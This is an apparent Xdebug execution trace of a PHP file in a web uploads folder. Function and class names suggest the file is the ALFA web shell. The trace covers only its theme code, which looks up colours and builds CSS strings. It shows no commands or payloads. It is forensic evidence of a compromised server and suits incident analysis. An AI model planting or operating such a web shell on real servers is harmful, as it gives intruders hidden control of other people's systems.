4 A /var/www/html/uploads/hw0.php 631 $css .= '.hidden_shell_version{color: #ff0000;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'shell_name'
5 173 0 0.020776 2800352 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'shell_name'
5 A /var/www/html/uploads/hw0.php 618 $target = '#FF0000'
5 173 1 0.020800 2800352
5 173 R '#FF0000'
4 A /var/www/html/uploads/hw0.php 630 $value = '#FF0000'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.shell_name{color: #FF0000;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'main_row:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = '.main tr:hover'
5 174 0 0.020855 2800352 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'main_row:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
5 174 1 0.020884 2800352
5 174 R '#646464'
4 A /var/www/html/uploads/hw0.php 635 $color = '#646464'
5 175 0 0.020908 2800352 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#646464' 'background-color: {color};'
5 175 1 0.020925 2800504
5 175 R 'background-color: #646464;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: #646464;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.main tr:hover{background-color: #646464;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'main_header'
4 A /var/www/html/uploads/hw0.php 634 $k = '.main th'
5 176 0 0.020985 2800368 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'main_header'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
5 176 1 0.021014 2800368
5 176 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 177 0 0.021038 2800368 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 177 1 0.021053 2800504
5 177 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.main th{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'main_name'
4 A /var/www/html/uploads/hw0.php 634 $k = '.main .main_name'
5 178 0 0.021110 2800352 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'main_name'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
5 178 1 0.021141 2800352
5 178 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 179 0 0.021165 2800352 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};font-weight: unset;'
5 179 1 0.021185 2800512
5 179 R 'color: #FFFFFF;font-weight: unset;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;font-weight: unset;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'main_size'
5 180 0 0.021242 2800376 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'main_size'
5 A /var/www/html/uploads/hw0.php 618 $target = '#67ABDF'
5 180 1 0.021267 2800376
5 180 R '#67ABDF'
4 A /var/www/html/uploads/hw0.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.main_size{color: #67ABDF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'main_modify'
5 181 0 0.021313 2800376 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'main_modify'
5 A /var/www/html/uploads/hw0.php 618 $target = '#67ABDF'
5 181 1 0.021337 2800376
5 181 R '#67ABDF'
4 A /var/www/html/uploads/hw0.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.main_modify{color: #67ABDF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'main_owner_group'
5 182 0 0.021425 2800632 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'main_owner_group'
5 A /var/www/html/uploads/hw0.php 618 $target = '#67ABDF'
5 182 1 0.021449 2800632
5 182 R '#67ABDF'
4 A /var/www/html/uploads/hw0.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.main_owner_group{color: #67ABDF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'main_green_perm'
5 183 0 0.021495 2800632 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'main_green_perm'
5 A /var/www/html/uploads/hw0.php 618 $target = '#25ff00'
5 183 1 0.021519 2800632
5 183 R '#25ff00'
4 A /var/www/html/uploads/hw0.php 630 $value = '#25ff00'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.main_green_perm{color: #25ff00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'main_red_perm'
5 184 0 0.021564 2800632 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'main_red_perm'
5 A /var/www/html/uploads/hw0.php 618 $target = '#FF0000'
5 184 1 0.021587 2800632
5 184 R '#FF0000'
4 A /var/www/html/uploads/hw0.php 630 $value = '#FF0000'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.main_red_perm{color: #FF0000;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'main_white_perm'
5 185 0 0.021633 2800632 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'main_white_perm'
5 A /var/www/html/uploads/hw0.php 618 $target = '#FFFFFF'
5 185 1 0.021657 2800632
5 185 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 630 $value = '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.main_white_perm{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'beetween_perms'
5 186 0 0.021701 2800632 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'beetween_perms'
5 A /var/www/html/uploads/hw0.php 618 $target = '#FFFFFF'
5 186 1 0.021724 2800632
5 186 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 630 $value = '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.beetween_perms{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'main_actions'
4 A /var/www/html/uploads/hw0.php 634 $k = '.main .actions'
5 187 0 0.021779 2800632 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'main_actions'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
5 187 1 0.021808 2800632
5 187 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 188 0 0.021831 2800632 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 188 1 0.021847 2800768
5 188 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.main .actions{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'minimize_editor_background'
4 A /var/www/html/uploads/hw0.php 634 $k = '.minimized-wrapper'
5 189 0 0.021909 2800608 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'minimize_editor_background'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
5 189 1 0.021941 2800608
5 189 R '#0e304a'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0e304a'
5 190 0 0.021965 2800608 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0e304a' 'background-color: {color};'
5 190 1 0.021981 2800760
5 190 R 'background-color: #0e304a;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: #0e304a;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.minimized-wrapper{background-color: #0e304a;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'minimize_editor_text'
4 A /var/www/html/uploads/hw0.php 634 $k = '.minimized-text'
5 191 0 0.022041 2800624 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'minimize_editor_text'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
5 191 1 0.022072 2800624
5 191 R '#f5deb3'
4 A /var/www/html/uploads/hw0.php 635 $color = '#f5deb3'
5 192 0 0.022096 2800624 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#f5deb3' 'color: {color};'
5 192 1 0.022111 2800760
5 192 R 'color: #f5deb3;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #f5deb3;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.minimized-text{color: #f5deb3;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_border'
4 A /var/www/html/uploads/hw0.php 634 $k = '.editor-explorer,.editor-modal'
5 193 0 0.022170 2800864 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
5 193 1 0.022202 2800864
5 193 R '#0e304a'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0e304a'
5 194 0 0.022226 2800864 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0e304a' 'border: 2px solid {color};'
5 194 1 0.022242 2801016
5 194 R 'border: 2px solid #0e304a;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'border: 2px solid #0e304a;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_background'
4 A /var/www/html/uploads/hw0.php 634 $k = '.editor-explorer,.editor-modal'
5 195 0 0.022305 2800880 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_background'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
5 195 1 0.022338 2800880
5 195 R 'rgba(0, 1, 23, 0.94)'
4 A /var/www/html/uploads/hw0.php 635 $color = 'rgba(0, 1, 23, 0.94)'
5 196 0 0.022364 2800880 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' 'rgba(0, 1, 23, 0.94)' 'background-color: {color};'
5 196 1 0.022380 2801056
5 196 R 'background-color: rgba(0, 1, 23, 0.94);'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: rgba(0, 1, 23, 0.94);'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_header_background'
4 A /var/www/html/uploads/hw0.php 634 $k = '.editor-header'
5 197 0 0.022444 2800904 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_header_background'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
5 197 1 0.022480 2800904
5 197 R 'rgba(21, 66, 88, 0.93)'
4 A /var/www/html/uploads/hw0.php 635 $color = 'rgba(21, 66, 88, 0.93)'
5 198 0 0.022562 2800904 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' 'rgba(21, 66, 88, 0.93)' 'background-color: {color};'
5 198 1 0.022588 2801080
5 198 R 'background-color: rgba(21, 66, 88, 0.93);'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: rgba(21, 66, 88, 0.93);'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_header_text'
4 A /var/www/html/uploads/hw0.php 634 $k = '.editor-path'
5 199 0 0.022685 2800904 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_header_text'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
5 199 1 0.022729 2800904
5 199 R '#00ff7f'
4 A /var/www/html/uploads/hw0.php 635 $color = '#00ff7f'
5 200 0 0.022765 2800904 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#00ff7f' 'color: {color};'
5 200 1 0.022788 2801040
5 200 R 'color: #00ff7f;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #00ff7f;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.editor-path{color: #00ff7f;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_header_button'
4 A /var/www/html/uploads/hw0.php 634 $k = '.close-button, .editor-minimize'
5 201 0 0.022877 2800864 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_header_button'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
5 201 1 0.022923 2800864
5 201 R '#1d5673'
4 A /var/www/html/uploads/hw0.php 635 $color = '#1d5673'
5 202 0 0.022961 2800864 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#1d5673' 'background-color: {color};'
5 202 1 0.022984 2801016
5 202 R 'background-color: #1d5673;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: #1d5673;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_actions'
4 A /var/www/html/uploads/hw0.php 634 $k = '.editor_actions'
5 203 0 0.023078 2801136 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_actions'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
5 203 1 0.023121 2801136
5 203 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 204 0 0.023157 2801136 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 204 1 0.023179 2801272
5 204 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.editor_actions{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_file_info_vars'
4 A /var/www/html/uploads/hw0.php 634 $k = '.editor_file_info_vars'
5 205 0 0.023268 2801120 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_file_info_vars'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
5 205 1 0.023312 2801120
5 205 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 206 0 0.023348 2801120 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 206 1 0.023370 2801256
5 206 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.editor_file_info_vars{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_file_info_values'
4 A /var/www/html/uploads/hw0.php 634 $k = '.filestools'
5 207 0 0.023464 2801120 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_file_info_values'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
5 207 1 0.023509 2801120
5 207 R '#67ABDF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#67ABDF'
5 208 0 0.023546 2801120 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#67ABDF' 'color: {color};'
5 208 1 0.023568 2801256
5 208 R 'color: #67ABDF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #67ABDF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.filestools{color: #67ABDF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_history_header'
4 A /var/www/html/uploads/hw0.php 634 $k = '.hheader-text,.history-clear'
5 209 0 0.023656 2801120 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_history_header'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
5 209 1 0.023701 2801120
5 209 R '#14ff07'
4 A /var/www/html/uploads/hw0.php 635 $color = '#14ff07'
5 210 0 0.023738 2801120 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#14ff07' 'color: {color};'
5 210 1 0.023761 2801256
5 210 R 'color: #14ff07;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #14ff07;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.hheader-text,.history-clear{color: #14ff07;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_history_list'
4 A /var/www/html/uploads/hw0.php 634 $k = '.editor-file-name'
5 211 0 0.023850 2801120 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_history_list'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
5 211 1 0.023893 2801120
5 211 R '#03b3a3'
4 A /var/www/html/uploads/hw0.php 635 $color = '#03b3a3'
5 212 0 0.023968 2801120 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#03b3a3' 'color: {color};'
5 212 1 0.023986 2801256
5 212 R 'color: #03b3a3;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #03b3a3;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.editor-file-name{color: #03b3a3;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_history_selected_file'
4 A /var/www/html/uploads/hw0.php 634 $k = '.is_active'
5 213 0 0.024046 2801120 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_history_selected_file'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
5 213 1 0.024079 2801120
5 213 R 'rgba(49, 55, 93, 0.77)'
4 A /var/www/html/uploads/hw0.php 635 $color = 'rgba(49, 55, 93, 0.77)'
5 214 0 0.024105 2801120 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' 'rgba(49, 55, 93, 0.77)' 'background-color: {color};'
5 214 1 0.024122 2801296
5 214 R 'background-color: rgba(49, 55, 93, 0.77);'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: rgba(49, 55, 93, 0.77);'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'editor_history_file:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = '.file-holder > .history:hover'
5 215 0 0.024187 2801672 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'editor_history_file:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
5 215 1 0.024219 2801672
5 215 R '#646464'
4 A /var/www/html/uploads/hw0.php 635 $color = '#646464'
5 216 0 0.024244 2801672 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#646464' 'background-color: {color};'
5 216 1 0.024260 2801824
5 216 R 'background-color: #646464;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: #646464;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.file-holder > .history:hover{background-color: #646464;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'input_box_border'
4 A /var/www/html/uploads/hw0.php 634 $k = 'input[type=text],textarea'
5 217 0 0.024332 2801648 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'input_box_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
5 217 1 0.024364 2801648
5 217 R '#0E304A'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0E304A'
5 218 0 0.024388 2801648 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 218 1 0.024404 2801800
5 218 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/hw0.php 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/hw0.php 637 $css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'input_box_text'
4 A /var/www/html/uploads/hw0.php 634 $k = 'input[type=text],textarea'
5 219 0 0.024465 2801648 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'input_box_text'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
5 219 1 0.024497 2801648
5 219 R '#999999'
4 A /var/www/html/uploads/hw0.php 635 $color = '#999999'
5 220 0 0.024520 2801648 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#999999' 'color: {color};'
5 220 1 0.024535 2801784
5 220 R 'color: #999999;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #999999;'
4 A /var/www/html/uploads/hw0.php 637 $css .= 'input[type=text],textarea{color: #999999;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'input_box:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = 'input[type=text]:hover,textarea:hover'
5 221 0 0.024596 2801632 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'input_box:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 221 1 0.024629 2801632
5 221 R '#27979B'
4 A /var/www/html/uploads/hw0.php 635 $color = '#27979B'
5 222 0 0.024653 2801632 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 222 1 0.024669 2801808
5 222 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 637 $css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'select_box_border'
4 A /var/www/html/uploads/hw0.php 634 $k = 'select'
5 223 0 0.024735 2801672 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'select_box_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
5 223 1 0.024765 2801672
5 223 R '#0E304A'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0E304A'
5 224 0 0.024789 2801672 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 224 1 0.024805 2801824
5 224 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/hw0.php 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/hw0.php 637 $css .= 'select{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'select_box_text'
4 A /var/www/html/uploads/hw0.php 634 $k = 'select'
5 225 0 0.024863 2801648 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'select_box_text'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
5 225 1 0.024896 2801648
5 225 R '#FFFFEE'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFEE'
5 226 0 0.024921 2801648 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFEE' 'color: {color};'
5 226 1 0.024935 2801784
5 226 R 'color: #FFFFEE;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFEE;'
4 A /var/www/html/uploads/hw0.php 637 $css .= 'select{color: #FFFFEE;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'select_box:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = 'select:hover'
5 227 0 0.024993 2801632 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'select_box:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 227 1 0.025025 2801632
5 227 R '#27979B'
4 A /var/www/html/uploads/hw0.php 635 $color = '#27979B'
5 228 0 0.025050 2801632 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 228 1 0.025066 2801808
5 228 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 637 $css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'button_border'
4 A /var/www/html/uploads/hw0.php 634 $k = 'input[type=submit],.button,#addup'
5 229 0 0.025132 2801672 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'button_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
5 229 1 0.025163 2801672
5 229 R '#27979B'
4 A /var/www/html/uploads/hw0.php 635 $color = '#27979B'
5 230 0 0.025188 2801672 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#27979B' 'border: 1px solid {color};'
5 230 1 0.025203 2801824
5 230 R 'border: 1px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'border: 1px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 637 $css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'button:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = 'input[type=submit]:hover'
5 231 0 0.025279 2801648 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'button:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 231 1 0.025314 2801648
5 231 R '#27979B'
4 A /var/www/html/uploads/hw0.php 635 $color = '#27979B'
5 232 0 0.025338 2801648 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:2px solid {color};'
5 232 1 0.025355 2801824
5 232 R 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 637 $css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
4 A /var/www/html/uploads/hw0.php 634 $k = '.button:hover,#addup:hover'
5 233 0 0.025449 2802184 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'button:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 233 1 0.025483 2802184
5 233 R '#27979B'
4 A /var/www/html/uploads/hw0.php 635 $color = '#27979B'
5 234 0 0.025507 2802184 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 234 1 0.025524 2802360
5 234 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'outputs_text'
4 A /var/www/html/uploads/hw0.php 634 $k = '.ml1'
5 235 0 0.025595 2802184 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'outputs_text'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
5 235 1 0.025625 2802184
5 235 R '#67ABDF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#67ABDF'
5 236 0 0.025649 2802184 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#67ABDF' 'color: {color};'
5 236 1 0.025665 2802320
5 236 R 'color: #67ABDF;'
